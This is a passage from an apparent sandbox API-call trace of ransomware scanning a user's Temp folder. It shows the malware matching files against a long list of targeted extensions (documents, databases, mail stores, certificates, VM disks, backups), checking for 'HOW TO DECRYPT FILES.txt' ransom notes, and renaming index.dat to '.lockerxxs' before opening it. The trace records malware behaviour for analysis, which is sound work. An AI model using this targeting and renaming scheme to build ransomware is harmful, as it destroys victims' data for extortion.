pszSpec="*.ost") returned 0 [0086.571] lstrlenA (lpString="*.ost") returned 5 [0086.571] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.idx") returned 0 [0086.571] lstrlenA (lpString="*.idx") returned 5 [0086.571] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.dbx") returned 0 [0086.571] lstrlenA (lpString="*.dbx") returned 5 [0086.571] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.sql") returned 0 [0086.571] lstrlenA (lpString="*.sql") returned 5 [0086.571] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.mdb") returned 0 [0086.571] lstrlenA (lpString="*.mdb") returned 5 [0086.571] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.fdb") returned 0 [0086.571] lstrlenA (lpString="*.fdb") returned 5 [0086.571] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.wab") returned 0 [0086.571] lstrlenA (lpString="*.wab") returned 5 [0086.571] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.dat") returned 0 [0086.572] lstrlenA (lpString="*.dat") returned 5 [0086.572] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.txt") returned 0 [0086.572] lstrlenA (lpString="*.txt") returned 5 [0086.572] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.jpeg") returned 0 [0086.572] lstrlenA (lpString="*.jpeg") returned 6 [0086.572] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.jpg") returned 0 [0086.572] lstrlenA (lpString="*.jpg") returned 5 [0086.572] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.png") returned 0 [0086.572] lstrlenA (lpString="*.png") returned 5 [0086.572] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.php") returned 0 [0086.572] lstrlenA (lpString="*.php") returned 5 [0086.572] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.cs") returned 0 [0086.572] lstrlenA (lpString="*.cs") returned 4 [0086.572] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.cpp") returned 0 [0086.572] lstrlenA (lpString="*.cpp") returned 5 [0086.572] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.rar") returned 0 [0086.572] lstrlenA (lpString="*.rar") returned 5 [0086.572] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.zip") returned 0 [0086.572] lstrlenA (lpString="*.zip") returned 5 [0086.572] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.html") returned 0 [0086.572] lstrlenA (lpString="*.html") returned 6 [0086.572] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.htm") returned 0 [0086.573] lstrlenA (lpString="*.htm") returned 5 [0086.573] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.xlsx") returned 0 [0086.573] lstrlenA (lpString="*.xlsx") returned 6 [0086.573] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.xls") returned 0 [0086.573] lstrlenA (lpString="*.xls") returned 5 [0086.573] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.mp4") returned 0 [0086.573] lstrlenA (lpString="*.mp4") returned 5 [0086.573] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.ppt") returned 0 [0086.573] lstrlenA (lpString="*.ppt") returned 5 [0086.573] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.pptx") returned 0 [0086.573] lstrlenA (lpString="*.pptx") returned 6 [0086.573] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.doc") returned 0 [0086.573] lstrlenA (lpString="*.doc") returned 5 [0086.573] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.dot") returned 0 [0086.573] lstrlenA (lpString="*.dot") returned 5 [0086.573] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.docx") returned 0 [0086.573] lstrlenA (lpString="*.docx") returned 6 [0086.573] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.7z") returned 0 [0086.573] lstrlenA (lpString="*.7z") returned 4 [0086.573] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.tar") returned 0 [0086.573] lstrlenA (lpString="*.tar") returned 5 [0086.573] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.bz2") returned 0 [0086.574] lstrlenA (lpString="*.bz2") returned 5 [0086.574] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.gz") returned 0 [0086.574] lstrlenA (lpString="*.gz") returned 4 [0086.574] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.mkv") returned 0 [0086.574] lstrlenA (lpString="*.mkv") returned 5 [0086.574] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.eml") returned 0 [0086.574] lstrlenA (lpString="*.eml") returned 5 [0086.574] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.msg") returned 0 [0086.574] lstrlenA (lpString="*.msg") returned 5 [0086.574] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.edb") returned 0 [0086.574] lstrlenA (lpString="*.edb") returned 5 [0086.574] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.accdb") returned 0 [0086.574] lstrlenA (lpString="*.accdb") returned 7 [0086.574] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.odb") returned 0 [0086.574] lstrlenA (lpString="*.odb") returned 5 [0086.574] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.java") returned 0 [0086.574] lstrlenA (lpString="*.java") returned 6 [0086.574] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.asm") returned 0 [0086.574] lstrlenA (lpString="*.asm") returned 5 [0086.574] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.pfx") returned 0 [0086.574] lstrlenA (lpString="*.pfx") returned 5 [0086.574] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.pem") returned 0 [0086.575] lstrlenA (lpString="*.pem") returned 5 [0086.575] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.p12") returned 0 [0086.575] lstrlenA (lpString="*.p12") returned 5 [0086.575] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.gpg") returned 0 [0086.575] lstrlenA (lpString="*.gpg") returned 5 [0086.575] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.vsd") returned 0 [0086.575] lstrlenA (lpString="*.vsd") returned 5 [0086.575] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.odg") returned 0 [0086.575] lstrlenA (lpString="*.odg") returned 5 [0086.575] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.raw") returned 0 [0086.575] lstrlenA (lpString="*.raw") returned 5 [0086.575] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.nef") returned 0 [0086.575] lstrlenA (lpString="*.nef") returned 5 [0086.575] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.svg") returned 0 [0086.575] lstrlenA (lpString="*.svg") returned 5 [0086.575] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.psd") returned 0 [0086.575] lstrlenA (lpString="*.psd") returned 5 [0086.575] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.vmx") returned 0 [0086.575] lstrlenA (lpString="*.vmx") returned 5 [0086.575] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.vmdk") returned 0 [0086.575] lstrlenA (lpString="*.vmdk") returned 6 [0086.575] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.vdi") returned 0 [0086.576] lstrlenA (lpString="*.vdi") returned 5 [0086.576] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.lay6") returned 0 [0086.576] lstrlenA (lpString="*.lay6") returned 6 [0086.576] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.mpeg") returned 0 [0086.576] lstrlenA (lpString="*.mpeg") returned 6 [0086.576] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.djvu") returned 0 [0086.576] lstrlenA (lpString="*.djvu") returned 6 [0086.576] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.tiff") returned 0 [0086.576] lstrlenA (lpString="*.tiff") returned 6 [0086.576] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.backup") returned 0 [0086.576] lstrlenA (lpString="*.backup") returned 8 [0086.576] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.pdf") returned 0 [0086.576] lstrlenA (lpString="*.pdf") returned 5 [0086.576] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.cert") returned 0 [0086.576] lstrlenA (lpString="*.cert") returned 6 [0086.576] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.docm") returned 0 [0086.576] lstrlenA (lpString="*.docm") returned 6 [0086.576] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.xlsm") returned 0 [0086.576] lstrlenA (lpString="*.xlsm") returned 6 [0086.576] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.dwg") returned 0 [0086.576] lstrlenA (lpString="*.dwg") returned 5 [0086.577] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.nd") returned 0 [0086.577] lstrlenA (lpString="*.nd") returned 4 [0086.577] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.tlg") returned 0 [0086.577] lstrlenA (lpString="*.tlg") returned 5 [0086.577] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.lgb") returned 0 [0086.577] lstrlenA (lpString="*.lgb") returned 5 [0086.577] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.mov") returned 0 [0086.577] lstrlenA (lpString="*.mov") returned 5 [0086.577] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.xdw") returned 0 [0086.577] lstrlenA (lpString="*.xdw") returned 5 [0086.577] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.ods") returned 0 [0086.577] lstrlenA (lpString="*.ods") returned 5 [0086.577] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.wav") returned 0 [0086.577] lstrlenA (lpString="*.wav") returned 5 [0086.577] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.mp3") returned 0 [0086.577] lstrlenA (lpString="*.mp3") returned 5 [0086.577] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.aiff") returned 0 [0086.577] lstrlenA (lpString="*.aiff") returned 6 [0086.577] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.flac") returned 0 [0086.577] lstrlenA (lpString="*.flac") returned 6 [0086.577] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.m4a") returned 0 [0086.577] lstrlenA (lpString="*.m4a") returned 5 [0086.577] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.csv") returned 0 [0086.577] lstrlenA (lpString="*.csv") returned 5 [0086.577] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97fe0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xed0fc650, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1 [0086.578] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0086.578] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="index.dat") returned -1 [0086.578] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="index.dat") returned -1 [0086.578] lstrcmpiA (lpString1="", lpString2="index.dat") returned -1 [0086.578] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini") returned="desktop.ini" [0086.578] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\" [0086.578] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\") returned="" [0086.578] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\HOW TO DECRYPT FILES.txt" [0086.578] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\history\\history.ie5\\how to decrypt files.txt")) returned 0x2020 [0086.578] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\", lpString2="index.dat" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\index.dat") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\index.dat" [0086.578] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\index.dat", pszSpec="*.ems") returned 0 [0086.578] lstrlenA (lpString="*.ems") returned 5 [0086.578] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\index.dat", pszSpec="*.db") returned 0 [0086.578] lstrlenA (lpString="*.db") returned 4 [0086.578] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\index.dat", pszSpec="*.dbf") returned 0 [0086.578] lstrlenA (lpString="*.dbf") returned 5 [0086.579] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\index.dat", pszSpec="*.myox") returned 0 [0086.579] lstrlenA (lpString="*.myox") returned 6 [0086.579] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\index.dat", pszSpec="*.myo") returned 0 [0086.579] lstrlenA (lpString="*.myo") returned 5 [0086.579] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\index.dat", pszSpec="*.qbw") returned 0 [0086.579] lstrlenA (lpString="*.qbw") returned 5 [0086.579] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\index.dat", pszSpec="*.qbb") returned 0 [0086.579] lstrlenA (lpString="*.qbb") returned 5 [0086.579] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\index.dat", pszSpec="*.qbm") returned 0 [0086.579] lstrlenA (lpString="*.qbm") returned 5 [0086.579] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\index.dat", pszSpec="*.qbo") returned 0 [0086.579] lstrlenA (lpString="*.qbo") returned 5 [0086.579] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\index.dat", pszSpec="*.qbx") returned 0 [0086.579] lstrlenA (lpString="*.qbx") returned 5 [0086.579] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\index.dat", pszSpec="*.qba") returned 0 [0086.579] lstrlenA (lpString="*.qba") returned 5 [0086.579] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\index.dat", pszSpec="*.qby") returned 0 [0086.579] lstrlenA (lpString="*.qby") returned 5 [0086.579] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\index.dat", pszSpec="*.qbj") returned 0 [0086.579] lstrlenA (lpString="*.qbj") returned 5 [0086.579] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\index.dat", pszSpec="*.ofx") returned 0 [0086.579] lstrlenA (lpString="*.ofx") returned 5 [0086.579] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\index.dat", pszSpec="*.qif") returned 0 [0086.580] lstrlenA (lpString="*.qif") returned 5 [0086.580] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\index.dat", pszSpec="*.mye") returned 0 [0086.580] lstrlenA (lpString="*.mye") returned 5 [0086.580] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\index.dat", pszSpec="*.mbox") returned 0 [0086.580] lstrlenA (lpString="*.mbox") returned 6 [0086.580] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\index.dat", pszSpec="*.eml") returned 0 [0086.580] lstrlenA (lpString="*.eml") returned 5 [0086.580] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\index.dat", pszSpec="*.pst") returned 0 [0086.580] lstrlenA (lpString="*.pst") returned 5 [0086.580] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\index.dat", pszSpec="*.ost") returned 0 [0086.580] lstrlenA (lpString="*.ost") returned 5 [0086.580] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\index.dat", pszSpec="*.idx") returned 0 [0086.580] lstrlenA (lpString="*.idx") returned 5 [0086.580] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\index.dat", pszSpec="*.dbx") returned 0 [0086.580] lstrlenA (lpString="*.dbx") returned 5 [0086.580] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\index.dat", pszSpec="*.sql") returned 0 [0086.580] lstrlenA (lpString="*.sql") returned 5 [0086.580] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\index.dat", pszSpec="*.mdb") returned 0 [0086.580] lstrlenA (lpString="*.mdb") returned 5 [0086.580] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\index.dat", pszSpec="*.fdb") returned 0 [0086.580] lstrlenA (lpString="*.fdb") returned 5 [0086.581] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\index.dat", pszSpec="*.wab") returned 0 [0086.581] lstrlenA (lpString="*.wab") returned 5 [0086.581] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\index.dat", pszSpec="*.dat") returned 1 [0086.581] lstrlenA (lpString="*.dat") returned 5 [0086.581] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\index.dat" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\index.dat") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\index.dat" [0086.581] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\index.dat" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\index.dat") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\index.dat" [0086.581] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\index.dat", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\index.dat.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\index.dat." [0086.581] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\index.dat.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\index.dat.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\index.dat.lockerxxs" [0086.581] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js 